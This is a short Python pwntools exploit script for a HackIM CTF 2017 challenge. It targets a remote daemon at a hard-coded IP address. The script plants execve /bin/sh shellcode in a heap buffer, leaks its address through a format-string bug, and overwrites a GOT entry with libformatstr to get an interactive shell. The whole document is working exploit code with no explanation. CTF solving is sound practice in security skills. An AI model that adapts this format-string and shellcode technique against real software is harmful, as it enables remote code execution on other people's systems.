HackimCTF 2017

hackim_exploit200.py

from pwn import *
from libformatstr import *


#Exploit the daemon at 34.198.96.6:9001 
#Exploitation Question 1  : 200 pts
#HACKIM CTF2017
#exploit by : Abdeljalil Nouiri

con = remote("34.198.96.6" , 9001)
#con = process("./level1.bin")

shellcode = "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
def ADD_book():
        con.sendline("1")
        con.recv()
        con.sendline(shellcode)
        con.recv()
        con.sendline("1")


def Leak_Nsend(GOT):

        con.recv()
        con.sendline("3")
        con.recv()
        con.sendline("%7$x")

        find = con.recv()[16:-74]
        calc = int("0x"+find,16)

        pay = FormatStr(50)
        pay[GOT] = calc
        log.info("Heap address : "+hex(calc))
        load = pay.payload(11 , 0)
        con.sendline("3")
        con.recv()
        con.send(load)
        con.interactive()

ptcGOT = 0x0804b038
#puts = 0x0804b02c

ADD_book()
Leak_Nsend(ptcGOT)